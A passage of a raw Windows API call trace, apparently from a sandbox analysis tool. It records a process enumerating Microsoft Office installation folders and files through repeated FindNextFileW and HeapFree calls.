lpFindFileData=0x2e8eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfa879350, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa879350, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa8eba59, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x6daa8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Office.dll", cAlternateFileName="")) returned 1 [0231.610] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41dde40 | out: hHeap=0x670000) returned 1 [0231.610] FindNextFileW (in: hFindFile=0x6cf788, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf755cb7d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6bfa6d9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6bfa6d9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="pt-BR", cAlternateFileName="")) returned 1 [0231.706] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41dde40 | out: hHeap=0x670000) returned 1 [0231.707] FindNextFileW (in: hFindFile=0x6cf788, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4ba375b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6e5cc4e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6e5cc4e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="pt-pt", cAlternateFileName="")) returned 1 [0231.759] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41dde40 | out: hHeap=0x670000) returned 1 [0231.759] FindNextFileW (in: hFindFile=0x6cf788, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0063153, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6e5cc4e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6e5cc4e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ro", cAlternateFileName="")) returned 1 [0231.764] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41dde40 | out: hHeap=0x670000) returned 1 [0231.764] FindNextFileW (in: hFindFile=0x6cf788, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf13037fa, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf71003, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xf71003, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ru", cAlternateFileName="")) returned 1 [0231.769] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41dde40 | out: hHeap=0x670000) returned 1 [0231.769] FindNextFileW (in: hFindFile=0x6cf788, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf42b29f3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x865a7d2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x865a7d2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sk", cAlternateFileName="")) returned 1 [0231.776] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41dde40 | out: hHeap=0x670000) returned 1 [0231.776] FindNextFileW (in: hFindFile=0x6cf788, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1ae94c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x633d60, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x633d60, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sl", cAlternateFileName="")) returned 1 [0231.783] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41dde40 | out: hHeap=0x670000) returned 1 [0231.783] FindNextFileW (in: hFindFile=0x6cf788, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x95505c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x95505c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x133819a5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x45c38, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sqmapi_x64.dll", cAlternateFileName="SQMAPI~1.DLL")) returned 1 [0231.787] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41dde40 | out: hHeap=0x670000) returned 1 [0231.787] FindNextFileW (in: hFindFile=0x6cf788, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6aee686, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6d05722, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6d05722, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sr-Latn", cAlternateFileName="")) returned 1 [0231.790] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41dde40 | out: hHeap=0x670000) returned 1 [0231.791] FindNextFileW (in: hFindFile=0x6cf788, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf42b29f3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x865a7d2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x865a7d2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sr-Latn-CS", cAlternateFileName="SR-LAT~1")) returned 1 [0231.796] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41dde40 | out: hHeap=0x670000) returned 1 [0231.796] FindNextFileW (in: hFindFile=0x6cf788, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa25d2ba, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x670f8d9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x670f8d9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sv", cAlternateFileName="")) returned 1 [0231.988] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41dde40 | out: hHeap=0x670000) returned 1 [0231.988] FindNextFileW (in: hFindFile=0x6cf788, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf6cde4ae, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6cde4ae, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6cde4ae, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1c2b0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="System.Spatial.NetFX35.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 1 [0232.176] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41dde40 | out: hHeap=0x670000) returned 1 [0232.176] FindNextFileW (in: hFindFile=0x6cf788, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa8eba59, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x453c2a7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x453c2a7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tr", cAlternateFileName="")) returned 1 [0232.183] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41dde40 | out: hHeap=0x670000) returned 1 [0232.183] FindNextFileW (in: hFindFile=0x6cf788, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd8e49f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x37f90ac, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x37f90ac, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="uk", cAlternateFileName="")) returned 1 [0232.187] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41dde40 | out: hHeap=0x670000) returned 1 [0232.187] FindNextFileW (in: hFindFile=0x6cf788, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4692737, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x4abf9f4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x4abf9f4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="vi", cAlternateFileName="")) returned 1 [0232.192] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41dde40 | out: hHeap=0x670000) returned 1 [0232.192] FindNextFileW (in: hFindFile=0x6cf788, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1e56af1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x680214, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x680214, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="zh-HANS", cAlternateFileName="")) returned 1 [0232.196] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41dde40 | out: hHeap=0x670000) returned 1 [0232.196] FindNextFileW (in: hFindFile=0x6cf788, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf00af60a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa5581c0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa5581c0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="zh-HANT", cAlternateFileName="")) returned 1 [0232.203] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41dde40 | out: hHeap=0x670000) returned 1 [0232.203] FindNextFileW (in: hFindFile=0x6cf788, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf00af60a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa5581c0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa5581c0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="zh-HANT", cAlternateFileName="")) returned 0 [0232.204] FindClose (in: hFindFile=0x6cf788 | out: hFindFile=0x6cf788) returned 1 [0232.204] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41cde38 | out: hHeap=0x670000) returned 1 [0232.204] FindNextFileW (in: hFindFile=0x6cf808, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd42039, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x895576a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x895576a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bin", cAlternateFileName="")) returned 0 [0232.204] FindClose (in: hFindFile=0x6cf808 | out: hFindFile=0x6cf808) returned 1 [0232.204] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4100058 | out: hHeap=0x670000) returned 1 [0232.204] FindNextFileW (in: hFindFile=0x6d0008, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1992fb3, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1992fb3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2283d0f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3688, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MSOSEC.DLL", cAlternateFileName="")) returned 1 [0232.214] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4100058 | out: hHeap=0x670000) returned 1 [0232.214] FindNextFileW (in: hFindFile=0x6d0008, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd42039, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1525a179, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1525a179, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Power View Excel Add-in", cAlternateFileName="POWERV~1")) returned 1 [0232.225] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42047e0 | out: hHeap=0x670000) returned 1 [0232.225] FindNextFileW (in: hFindFile=0x6cf988, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf12dd5ae, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x133819a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x133819a5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg", cAlternateFileName="")) returned 1 [0232.229] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42047e0 | out: hHeap=0x670000) returned 1 [0232.229] FindNextFileW (in: hFindFile=0x6cf988, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x133a7bf5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x133a7bf5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x133cde53, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4090, dwReserved0=0x0, dwReserved1=0x0, cFileName="BI-Report.png", cAlternateFileName="BI-REP~1.PNG")) returned 1 [0232.233] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42047e0 | out: hHeap=0x670000) returned 1 [0232.233] FindNextFileW (in: hFindFile=0x6cf988, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf9a9d821, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x133cde53, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x133cde53, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs", cAlternateFileName="")) returned 1 [0232.237] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42047e0 | out: hHeap=0x670000) returned 1 [0232.238] FindNextFileW (in: hFindFile=0x6cf988, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6a6473, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1341a2e5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1341a2e5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da", cAlternateFileName="")) returned 1 [0232.242] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42047e0 | out: hHeap=0x670000) returned 1 [0232.242] FindNextFileW (in: hFindFile=0x6cf988, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6354def, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x133f40a9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x133f40a9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de", cAlternateFileName="")) returned 1 [0232.246] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42047e0 | out: hHeap=0x670000) returned 1 [0232.246] FindNextFileW (in: hFindFile=0x6cf988, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf46b8986, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1341a2e5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1341a2e5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="el", cAlternateFileName="")) returned 1 [0232.250] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42047e0 | out: hHeap=0x670000) returned 1 [0232.250] FindNextFileW (in: hFindFile=0x6cf988, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf7582db3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1341a2e5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1341a2e5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es", cAlternateFileName="")) returned 1 [0232.255] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42047e0 | out: hHeap=0x670000) returned 1 [0232.255] FindNextFileW (in: hFindFile=0x6cf988, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1b0f72e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x13440553, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x13440553, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="et", cAlternateFileName="")) returned 1 [0232.370] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42047e0 | out: hHeap=0x670000) returned 1 [0232.370] FindNextFileW (in: hFindFile=0x6cf988, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6d2a978, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1341a2e5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1341a2e5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="eu", cAlternateFileName="")) returned 1 [0232.377] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42047e0 | out: hHeap=0x670000) returned 1 [0232.377] FindNextFileW (in: hFindFile=0x6cf988, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf18f9628, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x138defa8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x138defa8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi", cAlternateFileName="")) returned 1 [0232.382] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42047e0 | out: hHeap=0x670000) returned 1 [0232.382] FindNextFileW (in: hFindFile=0x6cf988, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1ae94c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x13440553, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x13440553, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr", cAlternateFileName="")) returned 1 [0232.385] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42047e0 | out: hHeap=0x670000) returned 1 [0232.386] FindNextFileW (in: hFindFile=0x6cf988, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf9ac3a61, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x13aced2b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x13aced2b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="gl", cAlternateFileName="")) returned 1 [0232.390] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42047e0 | out: hHeap=0x670000) returned 1 [0232.390] FindNextFileW (in: hFindFile=0x6cf988, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4a98712, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x13a8299e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x13a8299e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he", cAlternateFileName="")) returned 1 [0232.398] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42047e0 | out: hHeap=0x670000) returned 1 [0232.399] FindNextFileW (in: hFindFile=0x6cf988, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa806c3d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1428e945, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1428e945, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hi", cAlternateFileName="")) returned 1 [0232.403] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42047e0 | out: hHeap=0x670000) returned 1 [0232.403] FindNextFileW (in: hFindFile=0x6cf988, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf7beb2bc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x13b67741, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x13b67741, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr", cAlternateFileName="")) returned 1 [0232.409] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42047e0 | out: hHeap=0x670000) returned 1 [0232.409] FindNextFileW (in: hFindFile=0x6cf988, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6164f96, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x14648313, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x14648313, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu", cAlternateFileName="")) returned 1 [0232.414] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42047e0 | out: hHeap=0x670000) returned 1 [0232.414] FindNextFileW (in: hFindFile=0x6cf988, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf18f9628, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1434d390, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1434d390, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="id", cAlternateFileName="")) returned 1 [0232.549] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42047e0 | out: hHeap=0x670000) returned 1 [0232.549] FindNextFileW (in: hFindFile=0x6cf988, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf964b3dd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x14969496, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x14969496, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it", cAlternateFileName="")) returned 1 [0233.095] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42047e0 | out: hHeap=0x670000) returned 1 [0233.095] FindNextFileW (in: hFindFile=0x6cf988, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf15d84bd, ftCreationTime.dwHighDateTime=0x1d327e7, 